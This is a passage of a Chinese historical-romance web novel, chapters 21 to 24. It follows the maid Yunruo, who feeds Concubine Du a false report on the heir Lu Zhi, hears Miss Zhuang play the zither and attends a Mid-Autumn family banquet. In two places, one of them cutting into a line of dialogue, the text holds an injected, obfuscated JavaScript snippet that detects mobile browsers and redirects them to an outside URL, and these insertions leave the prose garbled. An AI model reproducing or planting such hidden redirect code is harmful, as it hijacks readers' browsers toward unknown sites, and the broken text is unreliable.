陆执回她:“她想让你来窥探,无非是觉得我不像表面那样,必然藏着什么秘密,你何不把我往纨绔公子哥去写,让她觉得:果然,我就知道这小子在人前的模样都是装出来的。你写得越不切实际,她说不定越相信,因为她自己坚信如此,你的证词反而是锦上添花。” 云若有了思绪,心里默默对徐舒柏说了句对不住,然后想着他的行径进行了编排,把世子说得人前人后,吊儿郎当,不务正业。 再给世子看的时候,世子满意地点头。 “到时候就照着这个说,杜姨娘铁定欢喜。” 呼啦啦编了一串,云若还有点害怕太毁世子形象了,心里有点忐忑,没想到世子如此肯定,她舒了口气。 她又问世子:“奴婢该什么时候去汇报?” 陆执回:“你自个儿看着办,最好挑我不在的时候、或是找个彰显你不易的理由,这最表现得出你的能力。” 云若受教了,世子居然还如此懂得这些为奴之道,真是令人钦佩。 翌日,云若挑着日头正好的时候,避着人偷偷溜出承熙院,一路上跟做贼似的一步三回头摸到了凝香院。 她亮出玉佩给门口的婆子一看,不一会儿就被领到了里间去。 “奴婢见过杜姨娘。” “你怎么这个时候来了,不在世子身边伺候?” “回禀姨娘,世子这会儿偷溜出府去了,奴婢这才敢前来见姨娘,不然奴婢哪敢贸然行动。” 听到陆执偷溜出府,杜氏来了兴致:“出府?看来此次你来会告诉我很多让人意外的东西。” 云若浅笑,随即娓娓道来她提前打好腹稿的话术。 还没听完,杜氏的嘴角就忍不住上扬,满脸都是发现事实和自己想象中一样的喜色。 “此话当真?” 杜氏虽然这么问,但看样子没有一点怀疑的样子。 云若肯定点头:“千真万确,不敢欺瞒姨娘。” 得到肯定,杜氏心中大喜,高兴得赏了云若银钱,云若装着这都是奴婢应该做的不好意思收下了。 “干得不错,我果然没看错你。以后有什么消息,随时来找我,替我办事,少不了你好的。” 云若应是。 赵嬷嬷进了屋来禀报:“姨娘,二公子来了。” 杜姨娘有些意外儿子这时候来自己这儿,她看了看云若,事已经回禀完了,她也交代了,暂时没她什么事,就遣她回去了。 云若福了福身,转身往外走,才走到门口,听得杜姨娘让赵嬷嬷请二公子进来。 云若在院子里看到了一个一身白色锦袍的男子,他正闲散地拨弄花草。 这男子模样也是不差的,只是比起世子来还是要逊色不少。见他眉眼之间与世子有几分相似,脸型和唇角和杜姨娘像是一个模子里刻出来的,这人应该就是二公子了。 她要出去,得经过二公子身边,所以还有几步远时,她福神行了个礼。 “见过二公子。” 陆平听这声,脑子里瞬间想歪,若是能在他榻上听到这声,不知道该有多销魂。 顿时他对这人起了兴致。 “你是哪个院的丫头,我怎么从来没见过你?抬起头来说话。” 云若本以为行个礼就过去了,怎么这二公子还盘起她来了。 毕竟是主子,她不敢不从,只能垂眸抬颌,避着二公子视线。 姝色一露,陆平倏地眼冒精光。 好漂亮的一张脸蛋,比起那些青楼的花魁也是不输几分的。瞧这身段,该有的地方都有,真是难得一见的货色,虽不似寻常佳丽那般娇软清瘦,淡淡的肉感看上去别有一番韵味。 他还没尝过这款的。 他在府里这么久,怎么没见过她这号人物?要是早见到了,现在这丫鬟怕已经是他的盘中餐了。 云若思付,世子与二公子的关系应该一般,说出自己是世子院里的人,二公子应该就会厌烦,打发了她。 “回二公子,奴婢是承熙院的。” 承熙院? 陆平兴致更盛,他上下打量起云若来。 他陆执不是一心只读圣贤书,院子里全是小厮,什么时候养起丫鬟来了。 云若感到有意味不明的目光正在自己周身游荡,她被看得有些不舒服。 陆平露出玩味的笑:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15162979|164828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你叫什么名字?” “奴婢云若。” 陆平还要再问,赵嬷嬷适时出现:“二公子,姨娘在里边等着您呢,快进去吧。” 看人被自己盯得有些不自在了,陆平笑着收回视线,迈步进了杜姨娘屋子。 云若如蒙大赦,不敢多做停留,云若三步并两步回了承熙院。 凝香院这边,陆平进了屋子,礼也不行,径直坐到杜氏旁边。 见儿子来了,杜氏心中欢喜,把下人端上来的茶水点心都摆到他面前。 “平儿这会儿怎么来了?” “儿子随父亲在军营这么久,都没能来看看娘,今儿父亲放我休息一天,想着娘肯定念我了,我这不马不停蹄来看看娘。” “你啊!”陆平一贯是个嘴甜会说话的,杜氏知道它''还是在哄自己,但她也乐得受。 “你这阵子跟着你父亲在军营历练辛苦了,我瞧着都瘦了,下次你要回来,提前派人知会我一声,我给你做一桌子好吃的补补。” 叙了会儿旧,杜氏让人去备膳。 陆平想到刚刚那个叫云若的丫头,一个承熙院的人居然在他娘这儿,他有些好奇,遂问道:“娘,刚才那个承熙院的丫头怎么来您院子里了?” “她是从我院子里出去的,一心记着我的恩情,总想着要报答我,这才三天两头往我这儿跑。” “这样啊。”陆平又问:“娘,您说我要是跟大哥讨她到我院子里来当个通房,大哥允是不允?” 杜氏心下一骇,看陆平一脸玩味,也不知几分真假,心道还真是红颜祸水。 “平儿,那种丫鬟多的是,你若真喜欢那样的,娘给你找就是了,十个八个都不是问题。他承熙院的东西能有什么好的?” 杜氏见陆平没什么反应,随即语重心长道:“平儿,这后宅之事你就莫要过问了,你安安心心跟着你父亲磨练,到时候谋个好差事,挣个好前程。娘还盼着你,最好啊,能继承你父亲的爵位。” 陆平轻笑:“娘,瞧您这话,谋个好差事好说,但这向来都是立嫡立长,袭爵这一事怎么都轮不到我这个庶出二公子。我啊,应该老老实实待着不惹事,等大哥成了家主,盼着他能念在多年兄弟情,愿意养着我才是。” “平儿!” 杜氏最恨这些嫡庶有别之言,见陆平说出如此混话戳她心窝子,她有些生气。 陆平见状啧了一声:“好了,娘您待会儿自己用膳吧,儿子还有事,下次再来看你。” 说罢,也不管杜氏还有没有话要说,自顾自走了。 杜氏被气得够呛,臭小子,小半年不回来一次,回来就知道气她。 赵嬷嬷奉上新沏的茶,杜氏喝了缓气。 想到刚刚陆平说起云若的样子,杜氏有些担心,她自己的儿子,她还是了解的,无论是不是真心喜欢,他那个样子,显然是起了兴致。 害怕陆平会起什么歪心思,到时候为了一个贱婢毁了自己的前程可不值当。 她吩咐赵嬷嬷:“以后仔细着那个丫头,若是平儿在府里,就不要让那个丫头来院子里,省得她搔首弄姿引诱平儿做出不理智的事来。” “老奴明白。” 杜氏心中隐隐不安,希望这丫头别惹出什么变数来。 22. 琴 一晃又到了该去相府的日子,这次陆执带上了她。 想起上次陆执没带她,云若大着胆子问他是不是以为她叛变了,才没带她。 陆执淡淡点头。 云若心中了然,原来她一次做戏,竟然被世子忌惮成这样。 不过还好现在解开误会了,不然她很有可能已经小命不保了。 到了相府,还是和往常一样,世子和丞相进了书房,这次左行老老实实带着云若候在了书房外面。 云若问他:“你这次怎么不带着我到处逛逛了?” 左行面露难色:“不可不可,上次我带着你到处乱跑被世子知道后,世子就警告过我一次了。而且——” 他左顾右盼,像是怕被人听到他说了什么一般,压低了些声音:“庄小姐回来了,世子让我好好给他看门,别让庄小姐打扰了他。” 提到庄小姐,云若倒是挺想见见庄小姐的。 听说庄丞相老来得女,妻子又在女儿牙牙学语时染病去世,庄相悲痛万分,把所有的爱全给了自己的幼女,这庄小姐虽从小被娇宠长大,但却未被惯出半分跋扈。 京城都知道丞相之女庄月淮才貌双全,琴棋书画样样精通,品性温良贤淑,亦是许多世家公子的心上人。 如果说在世人眼里陆世子是纨绔的表率,那庄小姐就是贵女的标杆。不少人觉得二人郎才女貌、门当户对,简直就是月老牵红线,天作之合。 都道这庄小姐似乎对陆世子有意,只是陆世子那边好像还没有什么表示,但没有表示并不代表无情,现今陆世子还未建功立业,陆世子的老师又是庄小姐的父亲,说不定陆世子是想有一番作为之后,风风光光求娶庄小姐也不一定。 云若了解到庄小姐是这般可人后,她也有点想一睹芳容。 心中好奇,云若也问了出来:“左行,庄小姐是不是真如传闻所说那般,倾国倾城,才绝京城,是贵女中的翘楚?” 左行刚要回她,远远瞥见了来人,给云若使了个眼色。 云若站到左行身边,抬眸看见一个天仙似的美人娉娉袅袅朝自己走来。 美人身着一袭水蓝色罗裙,外罩月白轻纱,裙摆随步履轻轻摆动,如风掠过湖面荡起的波纹,云髻上几支简单的珠钗点缀,发带随风飘扬,柳眉杏眼,红唇挺鼻,白净的小脸略施粉黛就已经让人挪不开眼。 真真是一妙人。 左行余光瞥见她有些看呆,用手轻肘她,云若回过神,同左行一道行礼:“给小姐请安。” 庄月淮颔首浅笑,朱唇轻启,声音婉转:“你家世子在里面吗?” “是,但他们……” 左行话还没说完,庄月淮就略过二人上前,拦人的话还没说出口,庄月淮先开了口。 即使没人,庄月淮也先规矩朝着书房方向行了个礼:“爹爹,女儿求见。” 已然出声,左行这趟差算是办砸了,他偷偷叹气退开。 “进来。” 左行还得上前为庄月淮开门,他全程低头,不敢看自己主子。 庄月淮拎裙踏入,看到爹爹身边长身玉立的人,面露喜色。 她走到二人面前欠身行礼:“爹爹,鹤回哥哥。” 陆执作揖回礼,唤了她一声:“庄小姐。” “月淮贸然打扰世子和爹爹考学,还请世子莫怪。” “庄小姐言重了,老师与我说得差不多了,算不得打扰。” “你啊,真是没大没小,爹爹正在对世子考学,你突然闯进来,我们说到哪儿爹爹都忘了。” 嘴上说着没大没小,但是眉眼间全是藏不住的爱意,没有一点怪罪之意。 “鹤回哥哥从小就聪明,爹爹您不用考都行。” 庄行俭被自家女儿明晃晃的偏心逗笑,他宠溺地用手指了指她。 “你这么急着见我有什么事吗?” “不是找爹爹有事,是……”美目流转,看到眼前日思夜想的人,不好意思低下头,“是女儿想等爹爹和鹤回哥哥考学结束后,约见鹤回哥哥一叙。每次等和鹤回哥哥说完,女儿再来寻,鹤回哥哥已然离去,所以这次女儿才贸然打扰一番。” 礼数周到又情真意切,让人为之动容。 庄相笑着对陆执说:“女儿家大了有自己的心思,既是为你而来,世子就给小女一个答复?” 陆执作揖道:“谢庄小姐抬爱。若庄小姐不嫌,烦请庄小姐稍候一柱香,待老师赐教完,我再请庄小姐赏面小叙。” 闻言,庄月淮莞尔一笑:“那月淮在书房外等着鹤回哥哥。” 陆执颔首,庄月淮微微欠身,退出了书房。 书房里的对话,站在门外的两个人一字不落听了进去,就瞧见庄月淮笑着同她的两个丫鬟站在书房外面候着。 其中一个丫鬟就是采宁,左行挑眉打了个招呼,采宁撇开眼不看他。 哪怕是在等人,庄小姐也站得很端庄,微风拂过,发丝轻轻飞扬,她顾不上,神情专注,眼里满是期许。 云若好像明白了书里说的少女怀春、情窦初开是什么模样了。 当真只让庄月淮候了一柱香,书房门打开,陆执从里面走出来。 庄月淮欣然上前,走到陆执身边:“多谢爹爹割爱。” 庄行俭看着眼前这般相配之人,脸上全是对小辈的欣赏喜爱,他朗声一笑:“还不抓紧时间和鹤回叙旧?” 少女羞赫,做了个请的手势。 陆执也欠身请庄月淮先行,后者先迈开了步子,陆执跟在身旁,云若她们跟在两人身后。 两人往后花园走了好一路,见陆执没有开口的意思,庄月淮才先挑起了话头。 “之前鹤回哥哥手受伤,我去探望过,但是鹤回哥哥闭门谢客,月淮就没见到你,后来虽去了老家避暑,但心中还是挂念,不知鹤回哥哥的手好些了没?” 陆执回她:“已然好全了,多谢庄小姐挂念。” 听他话语间如此生疏,庄月淮心里有些落寞,但是很快又振作精神。 “既来了,月淮近日新学了首曲子,鹤回哥哥你帮我听听如何?” “庄小姐的琴技可是京城一绝,今日若能有幸一听,是陆执的荣幸。” 陆执答应了,庄月淮展开笑颜:“谁人不知鹤回哥哥的琴技已可与名师比肩,我在鹤回哥哥面前弹琴是班门弄斧,你不要嫌月淮卖弄才是。” 陆执摇头:“怎会?” 庄月淮把他引到了荷花池畔,上次被满池荷花惊艳,云若没注意到原来这其间还有一条小道通向池中的凉亭。 此时的荷花已经开败不少,但相府的人清理得干净,腐烂的花叶已被拔去,还残余着淡淡荷香,一些残枝矗立在池中飘摇,也有其意境。 亭中早摆好了一把古琴,备好桌椅,只待客人入座。 看得出来庄小姐对抚琴一事不马虎,她进了亭子就先净手,随后焚香调试,当人端坐在琴案前,温婉褪去几分,多了几分云若难以描述的气质,更加吸引人。 待采宁为陆执沏好茶,庄月淮一双芊芊玉手在琴弦上抹开,“铮”的一声,指尖拨动捻弄,琴声流淌开来,情至深处,她微微闭眼,神情专注。 云若知道庄小姐多了什么气质了,是人在自己擅长领域的自信轻松,就像平日里世子读书写字时,落笔如有神,不仅当事人会沉浸其中,连这些局外人看了都会被他们感染,被深深吸引,仿佛他们身上有暖阳,让人难以挪开眼。 云若虽然听不懂琴,但她一颗浮动的心也会因婉转的琴音而沉淀下来,想要了解抚琴人的心境。 不知何时,天上落下了淅淅沥沥的小雨,随着庄小姐琴音的强弱变化,雨也落得大了些,豆大的雨珠在澄澈的湖面荡开涟漪,本就摇摇欲坠的花瓣被拍落,片片荷叶在湖水里起起伏伏,一切死物像是因为庄小姐的琴活过来般。 一阵风吹拂过来,抚琴的贵女衣裙摇动,听琴的男子沉醉期间,真是养眼的一副画面。 一曲尽,庄月淮停住弦,睁开眼,看向陆执。 “潇湘水云,残荷听雨,倒是别有一番意境。庄小姐这曲,指法娴熟,以琴表韵,已不是我能比拟的,想来小姐一定是下足了功夫。今日能闻这一曲,我这一遭来得真是幸事了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170035|164828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “鹤回哥哥谬赞了,只是不知为何,月淮在练这一段音的时候,总是衔接不好。”说着,庄月淮单手捻了一段,仔细一听,是能发现有几个音有些不自然,“月淮知道这首曲子鹤回哥哥早就已经出神入化了,不如你教教月淮?” 端庄优雅的少女不失几分娇俏,眼睛亮晶晶地看向自己心仪之人。 陆执其实早就听出了她这点小瑕疵,但瑕不掩瑜,她其他部分确实已经达到了极高的水平,她虚心请教,陆执也没有藏着掖着的道理。 他一语道破了她衔接不畅的原因,又教给她解决办法,庄月淮一听,恍然大悟,随即信手抚了一段,果真没有问题了。 云若被庄小姐的聪慧惊艳,竟一下子就参透了世子说的话。 “还是鹤回哥哥聪明,竟然这么简单,我都没悟出来。” 陆执浅笑,正巧雨渐渐小了,天色也不早了,他起身告辞,庄月淮也跟着起身,脸上全是不舍。 “鹤回哥哥不若用了膳再回去?” 陆执摇头拒绝:“今日府中还有事,下次有机会,一定不会拒绝小姐盛邀。” 陆执每次拒绝都是这套话术,奈何他说得诚恳,庄月淮也没有强留的道理,只能作罢。 她想到什么,问他:“那过几日宫里的赏月宴,鹤回哥哥可会去?” 陆执想也没想,脱口而出:“现下我课业繁重,到时候应该是去不了了。” 赏月宴不会去,那她只能等下个月才能再见他一次。庄月淮这么想着,恋恋不舍把人送走,看着远去的背影,难掩失落,只能盼着下次能多和他说几句话。 天上还飘着细雨,云若给陆执撑着从庄府借来的伞,迈快了步子回了自家马车。 待世子坐好,马车开始往回驶,云若要上前帮世子掸开肩头淋上的雨滴,陆执让她自己掸自己的。 雨不大,没什么好掸的,云若随便拍了拍,就端正坐好。 她回想着刚刚庄小姐在雨中抚琴的样子,觉得比传闻中的那人还惊艳,若她是个男子,看到这样的庄小姐她也必定会心动。 陆执看着眼前的人不知道在想什么,喜滋滋的,他问到:“自己偷乐什么呢?” 云若如实回他:“奴婢觉得庄小姐人长得好看,性格也好,琴还弹得厉害,而且庄小姐明明很聪明,可以和世子侃侃而谈,一下子就能够理解世子的意思,还这么谦虚,真是名不虚传。” 陆执看她满眼惊羡,心里蓦地有些不是滋味:“庄小姐的琴是弹得不错,但和我比起来,还是略逊一筹,下次我可以弹给你听听。” 云若没听出陆执话里的捻酸味,她遗憾道:“可奴婢并不懂琴……” “这世上真正懂琴的少之又少,不然那伯牙怎么就非钟子期不可?其实我也不是很懂,只是善于其中技巧罢了。每个人能从同一个人的琴曲中听出不同的意境,琴曲不是单一的好与不好,你不懂并不耽误你发现其中美好。” 此时的陆执哪还有才将在庄月淮面前的彬彬有礼,他散漫地靠坐着,语气轻佻。 云若似懂非懂点点头,陆执摸摸她的脸:“无碍,以后你就会懂的。” 以后会不会懂云若不知道,但她现在好像看懂陆执摸她的手势,她思索一圈,幽怨问道:“世子,你这是在把我当猫猫狗狗摸吗?” 陆执挠挠她的下颌,挑眉不语,但是他已经用动作证明了。 云若气得咬牙,但是她又不能去咬世子,否则那不真成了小猫小狗了? 她才不乱咬人。 又想到刚刚庄小姐提到的赏月宴,她有些好奇问道:“世子,庄小姐说的赏月宴是什么?” 陆执垂眸看她期待的小眼神,似笑非笑:“想去吗?” 云若点头,可是又想到刚刚陆执已经说了课业繁重,世子不去,她肯定也去不了。 “想去,但是您不是说不去了吗?” 他扬唇一笑:“到时候看本世子心情。” 那岂不是有可能去,云若整个人都有些雀跃,现在满心满眼都在想这个事。 车辙碾过积水,发出的声音并不让人厌烦。 23. 折桂 一场秋雨一场寒,转眼间,夏日的黏腻和炽热散去,秋天悄悄地来了。 在宫中赏月宴前,镇国公府自己先有一场家宴。 镇国公最近常待在军营,中秋家宴难得回来一次,陈氏还是比较重视,准备得比较隆重。 除了照例给各个院送去了新的布料、月饼点心和时令鲜果,还多拨了一个月的月例,让各院根据自己情况添补东西。 这些东西右安带着人去领回来后,云若帮忙清点。 她抱着几匹上好的布料,问右安:“这些料子是拿去库房放起来吗?” “不用放去库房,你晚些时候送去针线房,让里头的婆子给世子做几身秋衣,世子现下的那些秋衣都是前年的了,该做几身新衣服了。” 云若应下,把布料先放在一旁,又把剩下的东西归置了,然后把布料送到了针线房。 府里也开始布置起来,到处都挂上了绘有瑞兽、玉兔、满月的灯笼,有些地方还系上了丝绸彩带,各个院也去花房领了应季的菊花、金桂盆栽装点。 云若从针线房回来的时候,路过后花园,看那儿的桂花开得正盛,就采了点打算回去做桂花糕,又想起学过的一个成语,她当即折下一大束枝桠,浓郁的花香抱了个满怀,欢喜地快步走回承熙院。 陆执一向对这种热闹提不起兴致,任由她们在外面布置得热火朝天,他依然岿然不动待在书房看书。 书房门被打开,他寻声望去,入目的是一大簇星星点点的金黄,周围镶着翠绿,甜香幽然向室内蔓延。 拿着它的人全然被遮住,但并不妨碍陆执认出是谁。 “后花园的桂花树可不是一般的金贵,它的母树是海外番邦进贡的,宫里的人花了不少功夫培育出来的,按理来说只有皇家才有,但夫人特地从圣上那儿讨了一株来,细心呵护了许久,今年才第一年开花,你这就给人家折了,你等着夫人扒掉你一层皮吧。” 闻言,枝桠倏地往下一坠,露出云若皱巴巴的小脸。 “当真?世子莫不是又诓奴婢?” 陆执眼角微微弯了弯,像是在笑,但云若没能察觉这细小的表情。 “我骗你作甚,你仔细想想,后花园是不是只有这一棵金桂,这还显不出它的特别吗?” 云若的心咯噔一下,懊恼自己怎么这么手贱,夫人好像本来就不喜她,若是知道了怕不止是扒层皮这么简单。 不过想起她折桂花的目的,还是先收起悲戚,露出笑容:“扒皮都是后话了,折都折了,奴婢现在还是先祝世子明年的这个时候能够蟾宫折桂,金榜题名。” 陆执先是微微吃了一惊,接着轻轻扬唇一笑:“你折桂花就是为了这个?” 云若点点头,笑得灿烂了些,面前的花都不如她惹人注目。 她指了指开得最盛的一处,问他:“世子也亲手折一折?图个好彩头。” 这会儿人凑近了,陆执才注意到她额头的细汗,想来是抱着这么一大根枝桠走了一路的原因。 他抬手将方才她指的那枝折了下来,“那就借你吉言。” 见他折了,云若觉得也不算亏:“一定是吉言!” 说着,她抱着枝桠转身,要把它放到外面去,陆执叫住她:“去哪儿?” 云若这会儿撇嘴苦笑:“把这尊大佛放到院子里,然后去荣安堂负荆请罪。” 方才还“折都折了”的视死如归,现在又是一副悔不当初的样子,真是有趣得很。 “我看负荆请罪就不必了。” 云若一顿,瞬间明白了他的意思,她抿着嘴角,强颜欢笑:“世子,您又诓奴婢?” 陆执但笑不语,云若了然于心,火还没冒起来就灭了,谁叫他是主子?云若无可奈何,抱着桂花继续往外走。 “现在去干嘛?” 云若尽量控制着用正常语气回他:“回世子,奴婢要把这不金贵的花给摘了,然后碾碎,做成糕点给世子品尝。” 她说到碾碎两个字的时候尽量放缓了语气,光是看她的后脑,他就能够猜出她的表情会多么生动。这么大一枝桠,她扛着也辛苦,陆执没再逗她,让她去了。 云若哼哧着把桂花搬到了厨房,何厨头看她这架势,不知道的还以为是来砸场子的。 他问她哪儿弄来这么大一枝桂花,云若说在后花园摘的。 “你摘来做什么?” “做桂花糕。” 瞧她小脸热得粉扑扑的,何厨头笑她:“这右管事才去花房搬了新的桂花回来,廊上摆了一排,你摘自己院子里的不就好了,何苦巴巴跑到后花园去摘?反正世子也嫌花香过于浓郁,右管事正愁怎么办呢。” 方才来的路上她没注意到长廊里摆的什么花,现在听何厨头这么一说,真觉得自己没事找事做,白忙活一场,还又让世子吓了一遭。 但是摘都摘了,她也不能浪费,就先把手上这枝头的给摘了,至于那长廊上的,右安自己想办法去吧。 夜幕逐渐降临,一轮圆月高挂夜空,差不多到了家宴开席的时候,云若去书房唤世子。 “世子,宴席要开始了。” 沉浸在书中的陆执抬起头,才发现外面已经黑了,他淡淡应了一声,把书搁下,站起身理了理衣袍的褶皱。 “您就打算穿这身衣裳去吗?” 陆执今日穿的是一身藏青色的袍衫便服,配的是同色腰封,整个人看上去挺精神,一股子书卷气,倒也没什么不妥。 陆执点头,淡然道:“吃个饭就回来了,没必要特地换个衣裳。” 世子都这么说了,云若也不好多言,在一旁等世子唤她,视线乱飘之间,看到今日世子折下的那小枝桂花用一个碧绿色的小花瓶插起来放在了世子的砚台旁。 在世子这单调的桌子上出现这么一抹金色,还有点显眼,但不违和。 云若笑问:“您不是嫌桂花的香味过于浓郁,怎么还插了枝在您书房里,到时候可不是要把您熏得头疼?” “过满则溢,一枝刚好。” 云若一听,确实也是,不是所有东西都是越多越好。 陆执已整理妥当,带着云若和左行往府上的宴厅去了。 三人到的时候,除了镇国公和夫人,其他各个院的都到了,云若这才有机会认识其他院的人。 见到陆执,在场的诸位都起身行礼问好,陆执也作揖一一回礼。 这些人分坐两列,坐在最末的是柳姨娘,看上去比云若大不了几岁,往上是唐姨娘和二小姐陆蓉,接着是杜姨娘和她的一双儿女,二公子陆平和大小姐陆芙。 云若刚把人认了一圈,就听见一老者喝道:“家主到!” 众人又是齐刷刷起身,世子身量高,把她挡了个结结实实,她只能从人缝中看到为首的那个一身华服,迈着大步,夫人跟在他身后。 众人皆躬身请安,镇国公行至尊位,撩袍入座,微微抬手,声音沉稳有力:“都起来吧,今日是家宴,不必多礼拘束。” 镇国公都这么说了,众人免礼入座。云若这才看清镇国公的面容。 她之前觉得二公子眉眼处与世子长得相像,现在看到了镇国公,才明白了什么叫一个模子里刻出来的。 陆家世代武将,镇国公自然也是身材魁梧,脸庞轮廓分明,剑眉斜飞入鬓,整个人气场强大,不怒自威。 不过世子的长相还继承了夫人的柔美,不似镇国公这般过于硬朗,只是杜姨娘容貌较夫人逊色,所以二公子比起世子来,还是世子要更好看些。 云若偷偷在心底打量比较,得出了满屋子还是世子最好看的结论。 想来镇国公也是许久未见其他人,作为家主,又是这团圆的日子,他不好偏颇,逐一关怀了个遍。 到最后才是陆执。 才将和大女儿一阵父女情深后,视线转到陆执身上,笑意敛了几分:“世子的书读得如何了?” 陆执垂首作答:“回父亲,一直不曾懈怠。” 镇国公点头:“你是这些弟妹的大哥,若是能考取功名为他们树立榜样自然是好,若是考不上也不必介怀,为父的爵位在这放着,你日后承袭,也 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陈氏招手,下人端着菜肴鱼贯而入。 见戏才刚开场就落幕,杜姨娘母子似乎还有点遗憾。镇国公起身了,众人才跟着起身,一起移步到餐桌旁。 镇国公落座主位后,其他人依次落座,菜很快上齐,镇国公动筷了,这场家宴才算开始。 今天的宴会,是由夫人一手操办的,伺候的人也都是荣安堂的,云若不用在跟前伺候,她远远候着,看着那些色相俱全的菜肴,馋得不行。 只是她见世子都没动几筷子,莫非是不好吃吗?想着待会儿一定要问问世子口味如何。 用完膳,本来夫人请了戏班子来一边表演戏曲,一边赏月的,但陆执以功课还没做完为借口,也不管镇国公横眉竖眼和母亲的眼色,率自先退了席。 一路上,云若感到气氛有些她说不出的微妙,反正是不如去之前轻松,那时候她正期待着家宴会有什么好玩的,去了之后才觉出几分鸿门宴的味道。 看起来镇国公并非如夫人那般支持世子参加科举,也对世子的学业不甚了解,连庄丞相都夸世子厉害,想来世子参加科考取得佳绩不成问题,镇国公却当着众人面假设世子考不上,世子心中有气也是难免。 陆执径自走在前面,她和左行跟在后面,走了好一路,只有三人的呼吸声最大了,其次是脚步声,朗月被云层遮盖,云若觉得有点诡异。 云若有点害怕,频频和左行使眼色,希望素来爱闲聊的左行能起个话头,三人别这么死气地往回走,可惜他一眼也不看她。 眼瞧着要走到最黑的一段路,云若还忍不住自己挑起话头:“刚刚宴会上的月中桂兔看起来好好吃,世子,您吃着觉得如何?” 这个时候左行倒是给她疯狂使眼色了,云若故意不看他。 往常这个时候,左行都是默默陪在世子身边,不敢说话,生怕世子会生气,但她怎么像没看出来世子情绪不高涨,还跟平时一样没心眼。 要是云若知道左行这么想,必然要反驳他到底谁没心眼。 左行本来以为世子定然不会搭理她,不曾想听到自己的主子轻笑一声:“还不错。” “那奴婢改天去问问是膳房的哪个厨头做的,去拜个师,学了回来做给世子吃。” 陆执打趣她:“我看是你自己想吃吧。” 云若不好意思低下头,闲话间也不忘拉上左行:“到时候还得麻烦左侍卫帮奴婢处理兔子,兔子如此乖巧,奴婢不忍杀生。” 见世子心情好像还不错,左行也就放开了些,拿住她话里的矛盾:“你不忍杀生,但吃得下?” 云若点头,但意识到这是黑夜,说道:“杀生是一回事,好吃是一回事,两者不可相提并论。” 左行和她你一言我一语说些有的没的,陆执偶尔插一句,三人就这么走过了回承熙院最暗的一段路。 云层散去,十五的圆月终究还是亮了出来。 24. 赏月 话说十五的月亮十六圆,家宴的次日,就是宫中的赏月宴。 一早陆执醒来,云若就笑吟吟问他:“世子,您今日心情如何?” 说实话,一早看到这么张可人的小脸笑意盈盈地看着你,眼里写满期待,他心情实在不错。 不过他并不直接回她:“好如何,不好又如何?” 云若答得认真:“您若是心情不好,奴婢定当竭尽所能让您心情愉悦。您若是心情好,那您考虑一下去赏月宴吗?” 感情在这儿等着他呢。 他摇头叹息:“心情好又如何,我今日可是还有许多功课要做。” 陆执起身要穿衣,云若眼疾手快抢先一步从屏风上拿过衣裳帮他穿了起来。 “世子,您教我认字的时候说过,学习要有个度,要学会劳逸结合,我都听进去并认真践行了,您作为我的老师,更应该以身作则不是?” 陆执抬起手臂,任由她摆弄自己。 没听到世子说话,云若继续规劝:“您可能不清楚,但作为您的贴身丫鬟和学生,这三个多月来,您一直笔耕不缀,挑灯苦读,奴婢看着都心疼。 这么久以来,您从来都是严格要求自己,没休息过一天,奴婢瞧着您都比以前憔悴了不少。恰逢佳节,赏月团圆,您要不今日就休息一天?” 难得她一口气说这么大段话,看来真是很想去这赏月宴了。 陆执虽然会做规划,但他从来都是超规划学习,所以偶尔懈怠玩乐一天也未尝不可,只是他不想让她就这么轻松如愿。 他顾左右而言他:“看来最近书读得不错,说起话来都有些文绉绉了。” 云若以为世子真心夸她,她浅笑道:“哪有,都是世子教得好。” 给世子系上荷包,她才反应过来,世子还没说要不要去赏月宴。 世子要去院子里练拳,她巴巴跟了上去。 世子开始打拳了,她也不敢打扰,只能默默在廊下候着,视线一直跟随他,生怕一眨眼人就没了。 世子打完拳又该用早膳了,用完膳又要去请安了,请完安回来又要读书,读完书又要…… 这么一算,岂不是没机会说服世子去赏月宴了? 可是云若真的很想去看看这个赏月宴是什么样的。 每当世子转身移步到她跟前,她就眨巴着眼睛看向他,满眼期待。 陆执觉得自己跟多了个小尾巴似的,每转一个身,就看到一回,练完拳,小尾巴巴巴地送过来手帕给他擦汗。 她小心翼翼试探道:“世子,赏月宴……” 陆执掩着嘴角的笑意,心里暗道怎么这么会磨人,一双眼睛跟小狗一样看得人心软。 本来还想多钓会儿她,可看她这样祈盼,陆执还是点头答应了。 他点头的一瞬间,她眼中跃动着光芒,嘴角抑制不住上扬:“世子英明!” 反正都是要去的,何不让她多开心一会儿。 其实这赏月宴主要是为昭平公主办的。 公主是皇上的长女,打小没有适龄的玩伴,当今皇上子嗣并不多,公主一个人在这深宫里也是无趣,平日最爱这种贵女公子办的宴会,能有人陪她玩耍解乏。 皇上怜爱公主,也就允了她挑些些合适的日子在宫中举办宴席,一来能让她不那么孤单,二来也可以彰显皇家威严、促进世家间交流。 这种宴会,比不上宫宴正式,所以花样也比较多,没有太过庄严肃穆,年轻一些的小辈也去得多。 特别是对于这些适龄的少男少女,若是想结上一门好亲事,这种宴会多去去,总归是没什么坏处的。 说是赏月宴,其实下午就已经开始了,一直持续的夜色深沉。 陆执一行到的时候已是傍晚,云若从马车上下来,就看到晚霞掩映在宫墙之上,说不出的好看。 今儿难得带上了右安,云若像是刚会飞的小雀一直在和左行右安叽叽喳喳,让陆执一个主子走在前头,恍惚间他觉得她才像主子。 